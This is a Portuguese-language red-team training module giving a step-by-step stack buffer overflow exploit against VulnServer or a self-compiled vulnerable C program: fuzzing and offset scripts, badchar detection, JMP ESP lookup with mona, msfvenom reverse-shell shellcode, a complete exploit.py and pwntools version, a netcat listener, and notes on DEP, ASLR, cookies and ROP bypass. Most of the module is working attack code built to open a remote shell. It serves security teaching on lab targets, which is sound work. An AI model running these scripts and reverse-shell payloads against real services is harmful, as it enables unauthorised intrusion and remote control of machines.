Exploit Development
08/09/2026
5 min read

MÓDULO 13 — Exploit Development (Buffer Overflow completo, passo a passo)

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Guia completo de desenvolvimento de exploits de buffer overflow do zero. Aprenda a arquitetura x86 (EIP, ESP, EBP, little-endian), fuzzing para descobrir crashes, offset com padrão cíclico (pattern_create/pattern_offset), confirmação de controle do EIP, identificação de badchars com mona, localização de JMP ESP, geração de shellcode com msfvenom, montagem do exploit final (padding + EIP + NOP sled + shellcode) e as mitigações modernas (DEP, ASLR, stack cookies, ROP).

MÓDULO 13 — Exploit Development (Buffer Overflow completo, passo a passo)

Objetivo

Desenvolver um exploit de buffer overflow do ZERO — fuzzing, controle de EIP, identificação de badchars, shellcode e exploit final funcional. Teoria suficiente para entender, prática suficiente para executar.

---

MÓDULO 13 — Exploit Development: Tópico 1 — O que é um buffer overflow (e por que ainda importa)

Um buffer é uma área de memória de tamanho fixo. Se o programa copia dados para ele sem verificar o tamanho (ex.: \strcpy\ em vez de \strncpy\), o excesso transborda e sobrescreve memória adjacente — incluindo o endereço de retorno que o programa vai usar ao terminar a função.

\\\`text Memória da pilha (stack) durante uma função:

+-----------------------+ | ... | | ARGUMENTOS | | ENDEREÇO DE RETORNO | ← se sobrescrito, o programa pula para ONDE VOCÊ QUISER | EBP (frame pointer) | | VARIÁVEIS LOCAIS | ← o buffer mora aqui | ... | +-----------------------+ ↑ overflow do buffer sobe e corrompe EBP → RET \\\`

Se você controla o endereço de retorno, você controla para onde o programa pula — e pode fazê-lo executar seu shellcode (código seu).

Por que estudar em 2026: o overflow clássico é raro em software moderno (mitigações: stack cookies, ASLR, DEP), mas (a) ainda existe em software embarcado, drivers, software legado e aplicações mal escritas; (b) as técnicas fundamentais (controle de fluxo, ROP) são a base de praticamente todo exploit moderno; (c) é o melhor exercício para entender memória, assembly e depuradores.

---

MÓDULO 13 — Exploit Development: Tópico 2 — Arquitetura x86 — o mínimo que você precisa

Registradores (os que importam)

RegistradorPapelInteresse ofensivo
EIPInstruction Pointer — próxima instruçãoO alvo: se você o controla, controla o fluxo
ESPStack Pointer — topo da pilhaAponta para o início do seu buffer na stack
EBPFrame Pointer — base do frame atualCorrompido no overflow clássico
EAX, EBX, ECX, EDXUso geralÀs vezes carregam endereços úteis

Little-endian (a pegadinha nº 1)

O x86 armazena números com o byte menos significativo primeiro. Um endereço \0x7C9D5B40\ é gravado na memória como:

\\\text 40 5B 9D 7C \\\

Consequência prática: para gravar um endereço no EIP via exploit, você inverte os bytes:

\\\python import struct endereco = struct.pack("<I", 0x7C9D5B40) # "<I" = little-endian 32 bits \\\

A pilha cresce para baixo

\\\text Endereços altos +----------------+ ← topo da memória | RETORNO | | EBP | | buffer | Endereços baixos +----------------+ ← ESP aponta aqui (menor endereço) \\\

O buffer cresce para cima (endereços crescentes) — por isso o overflow alcança EBP e depois o RETORNO.

---

MÓDULO 13 — Exploit Development: Tópico 3 — O alvo de laboratório (compilado por você)

Para treinar de verdade, use um programa deliberadamente vulnerável. Dois caminhos:

Opção A — Windows (o fluxo clássico de ensino)

Baixe o VulnServer (vulnserver.exe, porta 9999) ou use o brainpan (TryHackMe/HTB). Rode numa VM Windows de lab (nunca no host real).

Opção B — Linux (se preferir GDB)

Compile você mesmo um alvo vulnerável:

\\\`c // vuln.c — PROGRAMA DE LABORATÓRIO, NUNCA USE EM PRODUÇÃO #include <stdio.h> #include <string.h>

void vulnerable(char *input) { char buffer[256]; // buffer pequeno strcpy(buffer, input); // strcpy NÃO verifica tamanho ← VULNERÁVEL printf("Recebido: %s\n", buffer); }

int main(int argc, char *argv[]) { if (argc < 2) { printf("Uso: %s <entrada>\n", argv[0]); return 1; } vulnerable(argv[1]); return 0; } \\\`

\\\`bash # Compilar SEM proteções (ambiente de lab!): # -fno-stack-protector → desliga stack cookie # -z execstack → pilha executável (sem DEP) # -no-pie → endereços fixos (sem ASLR para este binário) gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

# Se faltar o gcc 32 bits: sudo apt install gcc-multilib

# Teste: ./vuln "AAAA" # normal ./vuln "$(python3 -c 'print("A"*300)')" # crash! (segfault) \\\`

> ⚠️ VulnServer e binários sem proteção são exclusivamente para laboratório. Rodá-los em produção é criar o problema que você está treinando para encontrar.

---

MÓDULO 13 — Exploit Development: Tópico 4 — Metodologia do exploit — o mapa completo

  • \\\`text
  • FUZZING → descobrir que o programa crasha e com que tamanho
  • OFFSET → descobrir exatamente onde o EIP é sobrescrito
  • CONFIRMAR → colocar o valor 42424242 ("BBBB") no EIP e verificar
  • BADCHARS → identificar bytes que o programa corrompe/descarta
  • ENDEREÇO → achar um lugar para pular (JMP ESP, call esp, registro)
  • SHELLCODE → gerar payload com msfvenom (sem badchars)
  • EXPLOIT FINAL → juntar tudo: padding + EIP + NOPs + shellcode
  • TESTAR → shell! (ou debuggar e repetir)
  • \\\`

Cada passo tem uma pergunta a responder e um comando/tool para respondê-la. Vamos fazer um por um.

---

MÓDULO 13 — Exploit Development: Tópico 5 — Passo 1 — Fuzzing (descobrir o crash)

Pergunta: com que tamanho de input o programa quebra?

\\\`python #!/usr/bin/env python3 # fuzzer.py — envia inputs crescentes ao alvo import socket import sys

HOST = "192.168.56.10" # IP da VM do alvo PORT = 9999 # porta do VulnServer (ou ajuste para seu alvo) PREFIXO = "TRUN ." # comando do VulnServer (adapte ao seu alvo)

payload = b"A" 100 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect((HOST, PORT)) s.send(PREFIXO.encode() + payload) s.close() print(f"[+] Enviados {len(payload)} bytes") payload += b"A" 100 # cresce 100 em 100 except: print(f"[!] Conexão recusada/crash em ~{len(payload)} bytes") sys.exit(0) \\\`

Resultado esperado: o programa para de responder por volta de um certo tamanho (ex.: 3000–4000 bytes no VulnServer; 256–300 no vuln local). Anote esse número — é seu ponto de partida.

> 💡 No vuln local (CLI), faça o fuzzing com um loop de shell:

\\\bash for i in $(seq 100 100 1000); do echo "Tentando $i"; ./vuln "$(python3 -c "print('A'*$i)")"; done \\\

---

MÓDULO 13 — Exploit Development: Tópico 6 — Passo 2 — Descobrir o offset (onde o EIP é sobrescrito)

Pergunta: exatamente quantos bytes preciso enviar antes de tocar o EIP?

A ferramenta é o padrão cíclico: uma string com caracteres únicos em sequência (\Aa0Aa1Aa2...\). Quando o EIP mostra um pedaço do padrão, você descobre a posição exata.

\\\bash # Gerar padrão de 5000 bytes: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000 # (ou: msf-pattern_create -l 5000) \\\

\\\`python #!/usr/bin/env python3 # offset.py — envia o padrão cíclico e espera o crash import socket

HOST = "192.168.56.10" PORT = 9999 PREFIXO = b"TRUN ." PADRAO = b"Aa0Aa1Aa2Aa3Aa4Aa5..." # saída do pattern_create (cole aqui)

s = socket.socket() s.connect((HOST, PORT)) s.send(PREFIXO + PADRAO) s.close() print("[+] Padrão enviado. Olhe o EIP no debugger.") \\\`

No depurador

Immunity Debugger (Windows — fluxo clássico):

  • Anexe o Immunity ao processo do VulnServer (File → Attach)
  • Rode \!mona pattern_offset <valor_do_EIP>\ — ou monte manualmente
  • O EIP aparecerá com 4 bytes do padrão (ex.: \6F43376F\ = "oC7o")
  • Descubra o offset: \!mona pattern_offset 0x6F43376F\ → resposta: EIP offset: 2003

GDB (Linux — alternativa):

\\\bash gdb -q ./vuln (gdb) run "$(python3 -c 'print("PADRAO_CICLICO")')" # Programa recebe SIGSEGV. Olhe o valor de EIP: (gdb) info registers eip # EIP = 0x6f43376f ("oC7o") # Ache o offset com: # msf-pattern_offset -q 0x6f43376f \\\

\\\bash # msf-pattern_offset -q 0x6f43376f [*] Exact match at offset 2003 \\\

Resposta: com 2003 bytes de padding, os próximos 4 bytes vão para o EIP.

---

MÓDULO 13 — Exploit Development: Tópico 7 — Passo 3 — Confirmar o controle do EIP

Pergunta: consigo colocar exatamente o que eu quiser no EIP?

\\\`python #!/usr/bin/env python3 # confirm_eip.py import socket

HOST = "192.168.56.10" PORT = 9999 PREFIXO = b"TRUN ." OFFSET = 2003 # valor do passo anterior

payload = b"A" * OFFSET # padding até o retorno payload += b"BBBB" # 0x42424242 — deve aparecer no EIP

s = socket.socket() s.connect((HOST, PORT)) s.send(PREFIXO + payload) s.close() \\\`

No debugger: EIP = 0x42424242 = "BBBB".

Você controla o fluxo do programa. Agora vem a pergunta do Passo 5 (para onde pular), mas antes os badchars — porque seu shellcode não pode conter bytes que o programa corrompa.

---

MÓDULO 13 — Exploit Development: Tópico 8 — Passo 4 — Badchars (os bytes proibidos)

Pergunta: quais bytes do seu payload são corrompidos ou descartados no caminho (buffer → memória)?

Causas comuns: bytes nulos (\\\x00\ termina strings), \\\x0a\/\\\x0d\ (quebra de linha em protocolos), e bytes específicos do alvo.

\\\`python #!/usr/bin/env python3 # badchars.py — envia todos os bytes possíveis e você compara na memória import socket

HOST = "192.168.56.10" PORT = 9999 PREFIXO = b"TRUN ." OFFSET = 2003

badchars = bytes(range(0x00, 0x100)) # 0x00 a 0xFF

payload = b"A" * OFFSET payload += b"BBBB" # marca o início (facilita achar) payload += badchars

s = socket.socket() s.connect((HOST, PORT)) s.send(PREFIXO + payload) s.close() \\\`

Verificação no debugger

  • Reproduza o crash; no Immunity rode \!mona bytearray\ para gerar o "mapa esperado"
  • No dump de memória (siga o ESP com \!mona findmsp\ ou inspecione o stack em ESP+4), procure a sequência BBBB e compare os bytes seguintes com o esperado
  • Todo byte diferente é um badchar (ou corrompido pelo deslocamento — remova um por vez)
  • Rode \!mona compare -f bytearray.bin -a <endereço>\ — o mona aponta os badchars automaticamente

Resultado típico (VulnServer): badchars = \\\x00\\x0a\\x0d\. No vuln local: só \\\x00\ (strcpy termina no nulo).

Lista final: anote-a — o msfvenom vai excluir esses bytes do shellcode.

---

MÓDULO 13 — Exploit Development: Tópico 9 — Passo 5 — Para onde pular? (JMP ESP / call reg)

Pergunta: o shellcode vai morar na stack (onde está o seu buffer). Preciso de um endereço fixo (sem ASLR) que execute um \JMP ESP\ (pula para o topo da stack — onde seu buffer começa) ou similar.

\\\text Estrutura do payload final: [ AAAA... (OFFSET bytes) ][ ENDEREÇO JMP ESP ][ NOPs ][ SHELLCODE ] ↑ ↑ EIP pula para cá e executa os NOPs em "cachoeira" (endereço do JMP) até escorregar para o shellcode \\\

> Por que NOPs (cachoeira de NOPs): se o EIP cair alguns bytes antes ou depois do shellcode, os \\\x90\ (NOP = no operation) "escorregam" até o shellcode. Tolerância a erro de alinhamento.

Encontrar o endereço com mona (Windows)

\\\bash # No Immunity, com o processo crashado e o módulo do programa carregado: !mona modules # Procure módulos SEM: ASLR=False, Rebase=False, SafeSEH=False, NXCompat=False !mona jmp -r esp -m vulnserver.exe # Resultado: endereços como 0x625011AF com o opcode FF E4 (jmp esp) \\\

Alternativa manual (GDB/Linux)

\\\bash # GDB (Linux) — buscar FF E4 (jmp *%esp) no binário carregado: (gdb) find /b 0x08048000, 0x08049000, 0xff, 0xe4 # resultado: 0x080484xx ← endereço para usar \\\

Anote o endereço (ex.: \0x625011AF\ no VulnServer). Na dúvida entre vários, escolha um com bytes seguros (sem badchars no endereço!).

---

MÓDULO 13 — Exploit Development: Tópico 10 — Passo 6 — Gerar o shellcode (msfvenom)

Pergunta: o que eu quero que o programa execute? Um reverse shell (Módulo 7), com exclusão dos badchars.

\\\`bash # Windows (VulnServer): msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 \ -b "\x00\x0a\x0d" -f python -v shellcode

# Linux (vuln local): msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 \ -b "\x00" -f python -v shellcode \\\`

Saída (o que você cola no exploit):

\\\python shellcode = b"" shellcode += b"\xdb\xc0\x31\xc9\xbf\x66\x53\x4b\x3e\xd9\x74\x24" shellcode += b"\xf4\x5a\x31\x7a\x19\x03\x7a\x19\x83\xc2\x04\xe4" ... # (cada instalação gera bytes diferentes — use os SEUS) \\\

> Por que -b: o msfvenom encoda o shellcode (ex.: shikata_ga_nai) para não conter os badchars. O encodador é o mesmo que você viu no Módulo 7 (\-e\) — aqui ele é essencial, não opcional.

---

MÓDULO 13 — Exploit Development: Tópico 11 — Passo 7 — O exploit final (tudo junto)

\\\`python #!/usr/bin/env python3 # exploit.py — buffer overflow completo: crash → EIP → shellcode → SHELL import socket import struct

HOST = "192.168.56.10" # alvo PORT = 9999 # porta do serviço PREFIXO = b"TRUN ." # comando do protocolo (adapte)

# --- Valores descobertos nos passos anteriores (USE OS SEUS) --- OFFSET = 2003 JMP_ESP = 0x625011AF # endereço do "jmp esp" (little-endian!) BADCHARS = b"\x00\x0a\x0d" LPORT = 4444 # sua porta de listener LHOST = "192.168.56.101" # seu IP

# --- Shellcode gerado no passo 6 (cole o SEU aqui) --- shellcode = b"" shellcode += b"\xdb\xc0\x31\xc9\xbf\x66\x53\x4b\x3e\xd9\x74\x24" shellcode += b"\xf4\x5a\x31\x7a\x19\x03\x7a\x19\x83\xc2\x04\xe4" # ... (resto do seu shellcode)

# --- Montagem do payload --- payload = b"" payload += b"A" OFFSET # padding até o retorno payload += struct.pack("<I", JMP_ESP) # EIP → jmp esp (little-endian) payload += b"\x90" 32 # NOP sled (cachoeira) payload += shellcode # código a executar

# --- Envio --- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(PREFIXO + payload) s.close() print("[+] Payload enviado. Verifique o listener!") \\\`

Execução (o momento da verdade)

\\\`bash # Terminal 1 — listener (Módulo 7): nc -lvnp 4444

# Terminal 2 — exploit: python3 exploit.py

# Se tudo certo: SHELL no listener! # (no Windows: cmd.exe | no Linux: /bin/sh) \\\`

Se NÃO funcionou — o checklist de depuração

  • \\\`text
  • EIP está correto? → reconfirme o offset e o endereço no debugger
  • Endereço tem badchar? → bytes do endereço devem ser "seguros"
  • Shellcode tem badchar? → regere com -b (confira cada byte)
  • NOP sled suficiente? → aumente para 64–128 se o shellcode não alinha
  • Encoder compatível? → em Windows moderno, use -e x86/shikata_ga_nai
  • Debugger atrapalhando? → alguns debuggers mudam timing; teste sem ele
  • Firewall do alvo? → reverse shell exige saída; teste porta 4444
  • Espaço? → shellcode muito grande para o buffer?
  • \\\`

---

MÓDULO 13 — Exploit Development: Tópico 12 — O fluxo completo em uma tabela (cola de referência)

PassoFerramentaResultadoExemplo
FuzzingScript próprioTamanho do crashcrash em ~3000
Offsetpattern_create + pattern_offsetBytes até o EIP2003
EIP checkPayload A*2003 + "BBBB"EIP = 0x42424242confirmado
BadcharsPayload com 0x00–0xFF + mona compareLista proibida\\x00\\x0a\\x0d
Endereço!mona jmp -r espEndereço fixo0x625011AF
Shellcodemsfvenom -b <badchars> -f pythonPayload limpo~350 bytes
ExploitScript completoShellnc -lvnp 4444

---

MÓDULO 13 — Exploit Development: Tópico 13 — Mitigações modernas — DEP, ASLR, cookies (e o gancho de ROP)

O exploit acima funciona porque compilamos sem proteções. Software real tem mitigações — e você precisa conhecê-las para o dia em que encontrá-las:

Stack cookies (/GS, -fstack-protector)

Um valor aleatório (cookie) é gravado entre o buffer e o retorno. Antes do \ret\, o programa verifica se o cookie não mudou → overflow detectado → aborta. Bypass: vazar o cookie (overflow de leitura), ou corromper antes da verificação (ex.: ponteiros de função usados antes).

DEP / NX (pilha não executável)

A stack não pode executar código → seu shellcode na stack nunca roda. Bypass: ROP (Return-Oriented Programming) — encadear pequenos trechos de código legítimo que já estão em memória executável (gadgets), terminados em \ret\, para montar a ação desejada (ex.: chamar VirtualAlloc/mprotect e depois pular para o shellcode).

ASLR (endereços aleatórios)

Bibliotecas e (às vezes) o próprio binário carregam em endereços aleatórios a cada execução → seu jmp esp fixo não funciona. Bypass: vazar um endereço em runtime (info leak), usar partial overwrite, ou explorar módulos sem ASLR (não-relocáveis — é por isso que o mona procura ASLR=False).

ROP na prática (a ideia, sem aprofundar)

\\\text payload = [ AAAA... ][ EIP → gadget1 ][ arg1 ][ gadget2 ][ arg2 ]... │ │ gadget1: pop r32; ret gadget2: mov [r32], r32; ret \\\

Cada \ret\ (no fim do gadget) puxa o próximo endereço da pilha — você "programa" a pilha para executar uma sequência de gadgets. Ferramentas: mona (\!mona rop\), ROPgadget, ropper.

> Para este módulo: domine o overflow clássico primeiro (funciona em lab e em muitos alvos reais legados). ROP é o Módulo 13 avançado — se quiser, faço um aprofundamento depois.

---

MÓDULO 13 — Exploit Development: Tópico 14 — Exploit development — prática no Kali (bônus: pwntools)

O pwntools é a biblioteca padrão para exploit development (gera padrões, packing, conecta, debugga):

\\\`bash sudo apt install python3-pwntools

# Gerar padrão e offset (alternativa ao msf): python3 -c "from pwn import ; print(cyclic(5000))" python3 -c "from pwn import ; print(cyclic_find(0x6f43376f))" # → 2003 \\\`

Exemplo de exploit com pwntools (mais limpo)

\\\`python #!/usr/bin/env python3 from pwn import *

context.arch = 'i386' HOST, PORT = "192.168.56.10", 9999

payload = flat( b"A" 2003, p32(0x625011AF), # jmp esp asm(shellcraft.nop()) 32, shellcode # seu shellcode msfvenom )

io = remote(HOST, PORT) io.send(b"TRUN ." + payload) io.interactive() \\\`

---

MÓDULO 13 — Exploit Development: Tópico 15 — Atividade prática do Módulo 13

> Ambiente: VM Windows de lab com VulnServer (ou vuln compilado no Linux) + Immunity Debugger (ou GDB). Siga os passos na ordem — não pule etapas.

  • Setup: monte o VulnServer na VM Windows (ou compile o vuln no Linux); confirme que conecta na porta 9999; anexe o Immunity/GDB
  • Fuzzing: rode o \fuzzer.py\; anote o tamanho do crash
  • Offset: gere padrão de 5000 bytes, envie, leia o EIP no debugger, descubra o offset com pattern_offset
  • EIP check: envie \A*offset + "BBBB"\; confirme EIP = 0x42424242
  • Badchars: envie os 256 bytes; use mona compare (ou inspeção manual); anote os badchars
  • JMP ESP: rode \!mona jmp -r esp -m <módulo>\; escolha um endereço sem badchars
  • Shellcode: gere com msfvenom (\-b\ com seus badchars, \-f python\)
  • Exploit: monte o \exploit.py\ completo; suba listener; execute; ganhe o shell
  • Varie: troque o payload para \windows/meterpreter/reverse_tcp\ e capture sessão no Metasploit
  • Quebre (para aprender): desligue uma proteção por vez (compile sem \-z execstack\, ligue \-fstack-protector\ e observe o crash diferente; veja o ASLR mudar endereços entre execuções)
  • Desafio — o exploit documentado: crie \exploit_dev.md\ em \~/pentest/evidencias/exploit/\ com o programa alvo, cada passo com comando + saída real, o exploit final comentado, diagrama do stack frame antes/depois, e análise das mitigações

---

📌
Resumo Prático:

Buffer overflow é a vulnerabilidade fundacional da segurança ofensiva. O fluxo é metódico: (1) fuzzing para descobrir o crash, (2) padrão cíclico para achar o offset exato do EIP, (3) confirmação com 0x42424242, (4) badchars para saber quais bytes são proibidos, (5) JMP ESP para redirecionar execução, (6) shellcode limpo via msfvenom, (7) exploit final com padding + EIP + NOP sled + shellcode. As mitigações modernas (DEP, ASLR, stack cookies) existem para impedir isso — e o bypass (ROP, info leak) é a evolução natural. Domine o clássico primeiro: entenda cada byte do payload e por que ele está ali. Quem domina buffer overflow domina a linguagem fundamental da exploração de software.

---

✅ Checklist de conclusão do Módulo 13

  • Entendo o stack frame, EIP/ESP/EBP e little-endian
  • Compilei um alvo vulnerável (VulnServer ou vuln C)
  • Fiz fuzzing e descobri o tamanho do crash
  • Usei pattern_create/pattern_offset para achar o offset exato
  • Confirmei o controle do EIP (0x42424242)
  • Identifiquei badchars (mona compare) e entendo por que importam
  • Achei um jmp esp (mona) num módulo sem ASLR
  • Gerei shellcode sem badchars com msfvenom
  • Montei o exploit final (padding + EIP + NOP sled + shellcode) e ganhei o shell
  • Depuro falhas com o checklist 13.11
  • Uso pwntools para acelerar o processo
  • Conheço as mitigações (cookies, DEP, ASLR) e a ideia de ROP

Perguntas Frequentes (FAQ)

O que é buffer overflow e por que ainda é relevante em 2026?

Buffer overflow ocorre quando um programa copia dados para uma área de memória (buffer) de tamanho fixo sem verificar o limite, sobrescrevendo memória adjacente incluindo o endereço de retorno (EIP). Ainda é relevante porque existe em software embarcado, drivers, software legado e aplicações mal escritas. Além disso, as técnicas fundamentais (controle de fluxo, ROP) são a base de praticamente todo exploit moderno e é o melhor exercício para entender memória, assembly e depuradores.

Qual a diferença entre EIP, ESP e EBP e por que são importantes no exploit?

EIP (Instruction Pointer) aponta para a próxima instrução a ser executada — é o alvo principal do exploit, pois controlá-lo significa controlar o fluxo do programa. ESP (Stack Pointer) aponta para o topo da pilha, onde seu shellcode será colocado. EBP (Frame Pointer) marca a base do frame da função atual e é corrompido durante o overflow antes de chegar ao EIP. O exploit funciona sobrescrevendo o EIP com o endereço de um JMP ESP, que redireciona a execução para o shellcode na stack.

O que são badchars e como identificá-los durante o desenvolvimento de exploits?

Badchars são bytes que o programa-alvo corrompe, descarta ou interpreta de forma especial durante o processamento do input. Os mais comuns são \x00 (terminador de string), \x0a (line feed) e \x0d (carriage return). Para identificá-los, envie todos os 256 bytes possíveis (0x00-0xFF) ao programa, cause o crash e compare no debugger o que chegou à memória versus o que foi enviado. A ferramenta mona (!mona compare) automatiza essa comparação. Os badchars identificados são excluídos do shellcode via msfvenom -b.

O que é NOP sled e por que é usado no exploit de buffer overflow?

NOP sled (ou NOP slide) é uma sequência de instruções NOP (\x90 = No Operation) colocada antes do shellcode. Quando o EIP pula para o endereço do JMP ESP, a execução pode cair alguns bytes antes ou depois do início exato do shellcode. Os NOPs funcionam como uma 'cachoeira' — a CPU executa cada NOP sem fazer nada e 'escorrega' até chegar ao shellcode. É uma técnica de tolerância a erro de alinhamento que aumenta a confiabilidade do exploit.

Quais são as mitigações modernas contra buffer overflow e como podem ser contornadas?

As três principais mitigações são: (1) Stack Cookies (/GS) — um valor aleatório entre o buffer e o endereço de retorno que é verificado antes do ret; bypass via vazamento do cookie. (2) DEP/NX — torna a stack não-executável, impedindo shellcode direto; bypass via ROP (Return-Oriented Programming), encadeando gadgets de código legítimo em memória executável. (3) ASLR — aleatoriza endereços de bibliotecas e binários a cada execução; bypass via information leak para vazar endereços em runtime ou explorar módulos sem ASLR.